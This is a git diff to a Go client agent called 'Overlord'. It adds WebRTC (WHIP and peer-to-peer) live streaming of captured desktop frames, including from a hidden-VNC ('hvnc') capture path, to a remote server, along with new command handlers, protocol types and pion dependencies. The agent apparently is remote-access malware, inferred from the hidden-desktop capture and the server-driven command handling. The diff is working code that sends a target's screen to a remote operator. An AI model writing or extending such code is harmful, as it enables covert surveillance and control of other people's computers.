diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go index 5b6dfbe..f5da1f5 100644 --- a/Overlord-Client/cmd/agent/capture/capture.go +++ b/Overlord-Client/cmd/agent/capture/capture.go @@ -19,6 +19,7 @@ import ( "time" rt "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/webrtcpub" "overlord-client/cmd/agent/wire" ) @@ -146,6 +147,21 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error { if ctx.Err() != nil { return nil } + if frame.Header.Format == "h264" && webrtcpub.IsActive() { + dur := time.Second / time.Duration(fps) + if dur <= 0 { + dur = 33 * time.Millisecond + } + if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil { + log.Printf("webrtc: write h264 failed: %v", werr) + } + statFrames.Add(1) + statCapNs.Add(captureDur.Nanoseconds()) + statEncNs.Add(encodeDur.Nanoseconds()) + statTotalNs.Add(time.Since(t0).Nanoseconds()) + statBytes.Add(int64(len(frame.Data))) + return nil + } if !AcquireFrameSlot() { return nil // backpressure: server hasn't acked previous frames } @@ -567,6 +583,9 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height) codec = "jpeg" } else { + if webrtcpub.ConsumeKeyframeRequest() { + resetH264Encoder() + } h264Bytes, err := encodeH264Frame(img) if err == nil && len(h264Bytes) > 0 { prevMu.Lock() @@ -672,6 +691,9 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height) codec = "jpeg" } else { + if webrtcpub.ConsumeKeyframeRequest() { + resetH264Encoder() + } h264Bytes, err := encodeH264Frame(img) if err == nil && len(h264Bytes) > 0 { prevMu.Lock() diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 58541bd..6864376 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -610,6 +610,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in env.Plugins.Unload(pluginId) _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) return nil + case "webrtc_publish": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + sendCommandResultSafe(env, cmdID, false, "missing payload") + return nil + } + return handleWebrtcPublish(ctx, env, cmdID, payload) + case "webrtc_stop": + return handleWebrtcStop(ctx, env, cmdID) + case "webrtc_p2p_offer": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + sendCommandResultSafe(env, cmdID, false, "missing payload") + return nil + } + return handleWebrtcP2POffer(ctx, env, cmdID, payload) + case "webrtc_p2p_ice": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + return nil + } + return handleWebrtcP2PIce(ctx, env, cmdID, payload) + case "webrtc_p2p_stop": + return handleWebrtcP2PStop(ctx, env, cmdID) case "desktop_start": if goruntime.GOOS == "darwin" { perms := sysinfo.DarwinPermissions() diff --git a/Overlord-Client/cmd/agent/handlers/webrtc.go b/Overlord-Client/cmd/agent/handlers/webrtc.go new file mode 100644 index 0000000..45154e9 --- /dev/null +++ b/Overlord-Client/cmd/agent/handlers/webrtc.go @@ -0,0 +1,154 @@ +package handlers + +import ( + "context" + "fmt" + "log" + "net/url" + "strings" + + "overlord-client/cmd/agent/capture" + "overlord-client/cmd/agent/runtime" + "overlord-client/cmd/agent/webrtcpub" + "overlord-client/cmd/agent/wire" +) + +func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + whipPath, _ := payload["whipPath"].(string) + token, _ := payload["token"].(string) + if whipPath == "" || token == "" { + sendCommandResultSafe(env, cmdID, false, "missing whipPath/token") + return nil + } + + whipURL, err := buildWhipURL(env, whipPath) + if err != nil { + sendCommandResultSafe(env, cmdID, false, err.Error()) + return nil + } + + opts := webrtcpub.Options{ + WhipURL: whipURL, + PublishToken: token, + TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify, + TLSCAPath: env.Cfg.TLSCAPath, + } + + goSafe("webrtc publish", env.Cancel, func() { + if _, err := webrtcpub.Start(ctx, opts); err != nil { + log.Printf("webrtc: publish start failed: %v", err) + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(), + }) + return + } + // Force the encoder to emit a fresh SPS/PPS/IDR so the freshly + // subscribed viewer can start decoding immediately — otherwise it has + // to wait up to keyframeEvery for the next natural IDR. + capture.ResetPrev() + _ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{ + Type: "command_result", CommandID: cmdID, OK: true, + }) + }) + return nil +} + +func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error { + _ = ctx + webrtcpub.Stop() + sendCommandResultSafe(env, cmdID, true, "") + return nil +} + +func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + sessionID, _ := payload["sessionId"].(string) + offerSDP, _ := payload["sdp"].(string) + if sessionID == "" || offerSDP == "" { + sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp") + return nil + } + + callbacks := webrtcpub.P2POfferCallbacks{ + OnICE: func(c webrtcpub.ICECandidate) { + if c.Candidate == "" { + return + } + _ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{ + Type: "webrtc_p2p_ice", + SessionID: sessionID, + Candidate: c.Candidate, + SDPMid: c.SDPMid, + SDPMLineIndex: c.SDPMLineIndex, + }) + }, + OnClose: func() { + log.Printf("webrtc: P2P session %s closed", sessionID) + }, + } + + answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks) + if err != nil { + sendCommandResultSafe(env, cmdID, false, err.Error()) + return nil + } + // Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately. + capture.ResetPrev() + _ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{ + Type: "webrtc_p2p_answer", + SessionID: sessionID, + SDP: answerSDP, + }) + sendCommandResultSafe(env, cmdID, true, "") + return nil +} + +func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error { + sessionID, _ := payload["sessionId"].(string) + candidate, _ := payload["candidate"].(string) + mid, _ := payload["sdpMid"].(string) + var idx uint16 + if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok { + idx = uint16(v) + } + webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{ + Candidate: candidate, + SDPMid: mid, + SDPMLineIndex: idx, + }) + _ = env + _ = cmdID + return nil +} + +func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error { + webrtcpub.StopP2P() + sendCommandResultSafe(env, cmdID, true, "") + return nil +} + +func buildWhipURL(env *runtime.Env, whipPath string) (string, error) { + if len(env.Cfg.ServerURLs) == 0 { + return "", fmt.Errorf("no server URLs configured") + } + idx := env.Cfg.ServerIndex + if idx < 0 || idx >= len(env.Cfg.ServerURLs) { + idx = 0 + } + base, err := url.Parse(env.Cfg.ServerURLs[idx]) + if err != nil { + return "", fmt.Errorf("parse server url: %w", err) + } + switch strings.ToLower(base.Scheme) { + case "wss": + base.Scheme = "https" + case "ws": + base.Scheme = "http" + } + if !strings.HasPrefix(whipPath, "/") { + whipPath = "/" + whipPath + } + base.Path = whipPath + base.RawQuery = "" + base.Fragment = "" + return base.String(), nil +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go new file mode 100644 index 0000000..282063a --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/p2p_pion.go @@ -0,0 +1,191 @@ +//go:build overlord_webrtc + +package webrtcpub + +import ( + "context" + "errors" + "fmt" + "log" + "sync" + + "github.com/pion/webrtc/v4" +) + +type p2pSession struct { + id string + pc *webrtc.PeerConnection + track *webrtc.TrackLocalStaticSample + onICE func(ICECandidate) + onClose func() + closeOnce sync.Once +} + +var ( + p2pMu sync.Mutex + p2p *p2pSession +) + +func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) { + if sessionID == "" { + return "", errors.New("webrtcpub: empty sessionID") + } + if offerSDP == "" { + return "", errors.New("webrtcpub: empty offer SDP") + } + StopP2P() + + mediaEngine := &webrtc.MediaEngine{} + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypeH264, + ClockRate: 90000, + SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", + }, + PayloadType: 102, + }, webrtc.RTPCodecTypeVideo); err != nil { + return "", fmt.Errorf("register codec: %w", err) + } + + api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine)) + pc, err := api.NewPeerConnection(webrtc.Configuration{ + ICEServers: []webrtc.ICEServer{ + {URLs: []string{"stun:stun.l.google.com:19302"}}, + }, + }) + if err != nil { + return "", fmt.Errorf("new peer connection: %w", err) + } + + track, err := webrtc.NewTrackLocalStaticSample( + webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, + "overlord-video-p2p", "overlord-desktop", + ) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("new track: %w", err) + } + transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("add transceiver: %w", err) + } + if sender := transceiver.Sender(); sender != nil { + go drainRTCP(sender) + } + + sess := &p2pSession{ + id: sessionID, + pc: pc, + track: track, + onICE: opts.OnICE, + onClose: opts.OnClose, + } + + pc.OnICECandidate(func(c *webrtc.ICECandidate) { + if sess.onICE == nil { + return + } + if c == nil { + sess.onICE(ICECandidate{Candidate: ""}) + return + } + init := c.ToJSON() + mid := "" + if init.SDPMid != nil { + mid = *init.SDPMid + } + var idx uint16 + if init.SDPMLineIndex != nil { + idx = *init.SDPMLineIndex + } + sess.onICE(ICECandidate{ + Candidate: init.Candidate, + SDPMid: mid, + SDPMLineIndex: idx, + }) + }) + pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) { + log.Printf("webrtcpub: P2P peer state=%s", state) + switch state { + case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected: + sess.closeAndUnregister() + } + }) + + if err := pc.SetRemoteDescription(webrtc.SessionDescription{ + Type: webrtc.SDPTypeOffer, + SDP: offerSDP, + }); err != nil { + _ = pc.Close() + return "", fmt.Errorf("set remote desc: %w", err) + } + answer, err := pc.CreateAnswer(nil) + if err != nil { + _ = pc.Close() + return "", fmt.Errorf("create answer: %w", err) + } + if err := pc.SetLocalDescription(answer); err != nil { + _ = pc.Close() + return "", fmt.Errorf("set local desc: %w", err) + } + + p2pMu.Lock() + p2p = sess + p2pMu.Unlock() + registerWriter(p2pWriterID(sessionID), &trackWriter{t: track}) + return answer.SDP, nil +} + +func AddP2PICECandidate(sessionID string, c ICECandidate) { + if c.Candidate == "" { + return + } + p2pMu.Lock() + sess := p2p + p2pMu.Unlock() + if sess == nil || sess.id != sessionID { + return + } + mid := c.SDPMid + idx := c.SDPMLineIndex + if err := sess.pc.AddICECandidate(webrtc.ICECandidateInit{ + Candidate: c.Candidate, + SDPMid: &mid, + SDPMLineIndex: &idx, + }); err != nil { + log.Printf("webrtcpub: add p2p ICE candidate failed: %v", err) + } +} + +// StopP2P tears down the active P2P session, if any. +func StopP2P() { + p2pMu.Lock() + sess := p2p + p2p = nil + p2pMu.Unlock() + if sess != nil { + sess.closeAndUnregister() + } +} + +func (s *p2pSession) closeAndUnregister() { + s.closeOnce.Do(func() { + unregisterWriter(p2pWriterID(s.id)) + _ = s.pc.Close() + if s.onClose != nil { + s.onClose() + } + }) + p2pMu.Lock() + if p2p == s { + p2p = nil + } + p2pMu.Unlock() +} + +func p2pWriterID(sessionID string) string { + return "p2p:" + sessionID +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/state.go b/Overlord-Client/cmd/agent/webrtcpub/state.go new file mode 100644 index 0000000..f6802f4 --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/state.go @@ -0,0 +1,85 @@ +package webrtcpub + +import ( + "sync" + "sync/atomic" + "time" +) + +type FrameWriter interface { + WriteH264(nalu []byte, dur time.Duration) error +} + +var ( + writersMu sync.RWMutex + writers = map[string]FrameWriter{} +) + +func registerWriter(id string, w FrameWriter) { + if id == "" || w == nil { + return + } + writersMu.Lock() + writers[id] = w + writersMu.Unlock() +} + +func unregisterWriter(id string) { + if id == "" { + return + } + writersMu.Lock() + delete(writers, id) + writersMu.Unlock() +} + +func IsActive() bool { + writersMu.RLock() + defer writersMu.RUnlock() + return len(writers) > 0 +} + +var keyframeWanted atomic.Bool + +func RequestKeyframe() { + keyframeWanted.Store(true) +} + +func ConsumeKeyframeRequest() bool { + return keyframeWanted.Swap(false) +} + +func WriteH264(nalu []byte, dur time.Duration) error { + if len(nalu) == 0 { + return nil + } + writersMu.RLock() + defer writersMu.RUnlock() + for _, w := range writers { + _ = w.WriteH264(nalu, dur) + } + return nil +} + +// Deadass fuck WebRTC bro ts is so confusing +type Options struct { + // (e.g. https://server:5173/api/webrtc/agents/abc/whip). + WhipURL string + // PublishToken is the bearer token issued by the server. + PublishToken string + // TLSInsecureSkipVerify mirrors the agent's existing TLS config. + TLSInsecureSkipVerify bool + // TLSCAPath is an optional custom CA bundle. + TLSCAPath string +} + +type ICECandidate struct { + Candidate string `msgpack:"candidate"` + SDPMid string `msgpack:"sdpMid"` + SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"` +} + +type P2POfferCallbacks struct { + OnICE func(c ICECandidate) + OnClose func() +} diff --git a/Overlord-Client/cmd/agent/webrtcpub/stubs.go b/Overlord-Client/cmd/agent/webrtcpub/stubs.go new file mode 100644 index 0000000..4f0eb2d --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/stubs.go @@ -0,0 +1,28 @@ +//go:build !overlord_webrtc + +package webrtcpub + +import ( + "context" + "errors" +) + +var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tags overlord_webrtc)") + +type Publisher struct{} + +func Start(_ context.Context, _ Options) (*Publisher, error) { + return nil, ErrNotCompiled +} + +func Stop() {} + +func (*Publisher) Close() {} + +func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) { + return "", ErrNotCompiled +} + +func AddP2PICECandidate(_ string, _ ICECandidate) {} + +func StopP2P() {} diff --git a/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go new file mode 100644 index 0000000..35dc5da --- /dev/null +++ b/Overlord-Client/cmd/agent/webrtcpub/whip_pion.go @@ -0,0 +1,258 @@ +//go:build overlord_webrtc + +package webrtcpub + +import ( + "bytes" + "context" + "crypto/tls" + "crypto/x509" + "errors" + "fmt" + "io" + "log" + "net/http" + "net/url" + "os" + "strings" + "sync" + "time" + + "github.com/pion/rtcp" + "github.com/pion/webrtc/v4" + "github.com/pion/webrtc/v4/pkg/media" +) + +func drainRTCP(sender *webrtc.RTPSender) { + buf := make([]byte, 1500) + for { + n, _, err := sender.Read(buf) + if err != nil { + return + } + packets, err := rtcp.Unmarshal(buf[:n]) + if err != nil { + continue + } + for _, p := range packets { + switch p.(type) { + case *rtcp.PictureLossIndication, *rtcp.FullIntraRequest: + RequestKeyframe() + } + } + } +} + +type trackWriter struct { + t *webrtc.TrackLocalStaticSample +} + +func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error { + return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur}) +} + +const whipWriterID = "whip" + +type Publisher struct { + pc *webrtc.PeerConnection + resourceURL string + token string + httpClient *http.Client + closeOnce sync.Once +} + +var ( + whipMu sync.Mutex + whip *Publisher +) + +func Start(ctx context.Context, opts Options) (*Publisher, error) { + if strings.TrimSpace(opts.WhipURL) == "" { + return nil, errors.New("webrtcpub: empty WhipURL") + } + if strings.TrimSpace(opts.PublishToken) == "" { + return nil, errors.New("webrtcpub: empty PublishToken") + } + Stop() + + httpClient := buildHTTPClient(opts) + + mediaEngine := &webrtc.MediaEngine{} + if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{ + RTPCodecCapability: webrtc.RTPCodecCapability{ + MimeType: webrtc.MimeTypeH264, + ClockRate: 90000, + SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f", + }, + PayloadType: 102, + }, webrtc.RTPCodecTypeVideo); err != nil { + return nil, fmt.Errorf("register codec: %w", err) + } + + api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine)) + pc, err := api.NewPeerConnection(webrtc.Configuration{}) + if err != nil { + return nil, fmt.Errorf("new peer connection: %w", err) + } + + track, err := webrtc.NewTrackLocalStaticSample( + webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264}, + "overlord-video", "overlord-desktop", + ) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("new track: %w", err) + } + transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{ + Direction: webrtc.RTPTransceiverDirectionSendonly, + }) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("add transceiver: %w", err) + } + if sender := transceiver.Sender(); sender != nil { + go drainRTCP(sender) + } + + offer, err := pc.CreateOffer(nil) + if err != nil { + _ = pc.Close() + return nil, fmt.Errorf("create offer: %w", err) + } + gathered := webrtc.GatheringCompletePromise(pc) + if err := pc.SetLocalDescription(offer); err != nil { + _ = pc.Close() + return nil, fmt.Errorf("set local desc: %w", err) + } + + select { + case <-gathered: + case <-time.After(5 * time.Second): + log.Printf("webrtcpub: ICE gathering timeout; continuing with partial candidates") + case <-ctx.Done(): + _ = pc.Close() + return nil, ctx.Err() + } + + answerSDP, resourceURL, err := postWhip(ctx, httpClient, opts.WhipURL, opts.PublishToken, pc.LocalDescription().SDP) + if err != nil { + _ = pc.Close() + return nil, err + } + if err := pc.SetRemoteDescription(webrtc.SessionDescription{ + Type: webrtc.SDPTypeAnswer, + SDP: answerSDP, + }); err != nil { + _ = pc.Close() + return nil, fmt.Errorf("set remote desc: %w", err) + } + + pub := &Publisher{ + pc: pc, + resourceURL: resourceURL, + token: opts.PublishToken, + httpClient: httpClient, + } + + pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) { + log.Printf("webrtcpub: WHIP peer state=%s", state) + switch state { + case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed: + whipMu.Lock() + if whip == pub { + whip = nil + } + whipMu.Unlock() + unregisterWriter(whipWriterID) + } + }) + + whipMu.Lock() + whip = pub + whipMu.Unlock() + registerWriter(whipWriterID, &trackWriter{t: track}) + log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL) + return pub, nil +} + +func Stop() { + whipMu.Lock() + p := whip + whip = nil + whipMu.Unlock() + unregisterWriter(whipWriterID) + if p != nil { + p.Close() + } +} + +func (p *Publisher) Close() { + p.closeOnce.Do(func() { + if p.resourceURL != "" { + ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second) + defer cancel() + req, err := http.NewRequestWithContext(ctx, http.MethodDelete, p.resourceURL, nil) + if err == nil { + if p.token != "" { + req.Header.Set("Authorization", "Bearer "+p.token) + } + if resp, err := p.httpClient.Do(req); err == nil { + _ = resp.Body.Close() + } + } + } + _ = p.pc.Close() + }) +} + +func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) { + req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp)) + if err != nil { + return "", "", fmt.Errorf("build whip request: %w", err) + } + req.Header.Set("Content-Type", "application/sdp") + req.Header.Set("Authorization", "Bearer "+token) + + resp, err := client.Do(req) + if err != nil { + return "", "", fmt.Errorf("whip post: %w", err) + } + defer resp.Body.Close() + + body, _ := io.ReadAll(resp.Body) + if resp.StatusCode/100 != 2 { + return "", "", fmt.Errorf("whip post: %s: %s", resp.Status, bytes.TrimSpace(body)) + } + + resource := resp.Header.Get("Location") + if resource != "" { + if parsed, err := url.Parse(resource); err == nil && !parsed.IsAbs() { + base, _ := url.Parse(whipURL) + if base != nil { + resource = base.ResolveReference(parsed).String() + } + } + } + return string(body), resource, nil +} + +func buildHTTPClient(opts Options) *http.Client { + tlsCfg := &tls.Config{ + InsecureSkipVerify: opts.TLSInsecureSkipVerify, + MinVersion: tls.VersionTLS12, + } + if path := strings.TrimSpace(opts.TLSCAPath); path != "" { + if pem, err := os.ReadFile(path); err == nil { + pool := x509.NewCertPool() + if pool.AppendCertsFromPEM(pem) { + tlsCfg.RootCAs = pool + } + } + } + return &http.Client{ + Timeout: 15 * time.Second, + Transport: &http.Transport{ + TLSClientConfig: tlsCfg, + }, + } +} diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 12892c2..17d360e 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -286,3 +286,17 @@ type DisconnectInfo struct { Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout" Detail string `msgpack:"detail,omitempty"` // error message } + +type WebRTCP2PAnswer struct { + Type string `msgpack:"type"` + SessionID string `msgpack:"sessionId"` + SDP string `msgpack:"sdp"` +} + +type WebRTCP2PIce struct { + Type string `msgpack:"type"` + SessionID string `msgpack:"sessionId"` + Candidate string `msgpack:"candidate"` + SDPMid string `msgpack:"sdpMid"` + SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"` +} diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod index 1e9d4b6..6e366d0 100644 --- a/Overlord-Client/go.mod +++ b/Overlord-Client/go.mod @@ -24,7 +24,26 @@ require ( github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect github.com/godbus/dbus/v5 v5.1.0 // indirect + github.com/google/uuid v1.6.0 // indirect github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect + github.com/pion/datachannel v1.5.10 // indirect + github.com/pion/dtls/v3 v3.0.4 // indirect + github.com/pion/ice/v4 v4.0.3 // indirect + github.com/pion/interceptor v0.1.37 // indirect + github.com/pion/logging v0.2.2 // indirect + github.com/pion/mdns/v2 v2.0.7 // indirect + github.com/pion/randutil v0.1.0 // indirect + github.com/pion/rtcp v1.2.15 // indirect + github.com/pion/rtp v1.8.10 // indirect + github.com/pion/sctp v1.8.35 // indirect + github.com/pion/sdp/v3 v3.0.9 // indirect + github.com/pion/srtp/v3 v3.0.4 // indirect + github.com/pion/stun/v3 v3.0.0 // indirect + github.com/pion/transport/v3 v3.0.7 // indirect + github.com/pion/turn/v4 v4.0.0 // indirect + github.com/pion/webrtc/v4 v4.0.7 // indirect github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect + github.com/wlynxg/anet v0.0.5 // indirect + golang.org/x/net v0.51.0 // indirect gopkg.in/yaml.v3 v3.0.1 // indirect ) diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum index 6f9b899..6ab81d9 100644 --- a/Overlord-Client/go.sum +++ b/Overlord-Client/go.sum @@ -4,6 +4,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0= github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4= github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE= github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww= github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY= @@ -16,29 +18,77 @@ github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc= github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= +github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4= github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4= github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ= github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk= +github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o= +github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M= +github.com/pion/dtls/v3 v3.0.4 h1:44CZekewMzfrn9pmGrj5BNnTMDCFwr+6sLH+cCuLM7U= +github.com/pion/dtls/v3 v3.0.4/go.mod h1:R373CsjxWqNPf6MEkfdy3aSe9niZvL/JaKlGeFphtMg= +github.com/pion/ice/v4 v4.0.3 h1:9s5rI1WKzF5DRqhJ+Id8bls/8PzM7mau0mj1WZb4IXE= +github.com/pion/ice/v4 v4.0.3/go.mod h1:VfHy0beAZ5loDT7BmJ2LtMtC4dbawIkkkejHPRZNB3Y= +github.com/pion/interceptor v0.1.37 h1:aRA8Zpab/wE7/c0O3fh1PqY0AJI3fCSEM5lRWJVorwI= +github.com/pion/interceptor v0.1.37/go.mod h1:JzxbJ4umVTlZAf+/utHzNesY8tmRkM2lVmkS82TTj8Y= +github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY= +github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms= +github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM= +github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA= +github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA= +github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8= +github.com/pion/rtcp v1.2.15 h1:LZQi2JbdipLOj4eBjK4wlVoQWfrZbh3Q6eHtWtJBZBo= +github.com/pion/rtcp v1.2.15/go.mod h1:jlGuAjHMEXwMUHK78RgX0UmEJFV4zUKOFHR7OP+D3D0= +github.com/pion/rtp v1.8.10 h1:puphjdbjPB+L+NFaVuZ5h6bt1g5q4kFIoI+r5q/g0CU= +github.com/pion/rtp v1.8.10/go.mod h1:8uMBJj32Pa1wwx8Fuv/AsFhn8jsgw+3rUC2PfoBZ8p4= +github.com/pion/sctp v1.8.35 h1:qwtKvNK1Wc5tHMIYgTDJhfZk7vATGVHhXbUDfHbYwzA= +github.com/pion/sctp v1.8.35/go.mod h1:EcXP8zCYVTRy3W9xtOF7wJm1L1aXfKRQzaM33SjQlzg= +github.com/pion/sdp/v3 v3.0.9 h1:pX++dCHoHUwq43kuwf3PyJfHlwIj4hXA7Vrifiq0IJY= +github.com/pion/sdp/v3 v3.0.9/go.mod h1:B5xmvENq5IXJimIO4zfp6LAe1fD9N+kFv+V/1lOdz8M= +github.com/pion/srtp/v3 v3.0.4 h1:2Z6vDVxzrX3UHEgrUyIGM4rRouoC7v+NiF1IHtp9B5M= +github.com/pion/srtp/v3 v3.0.4/go.mod 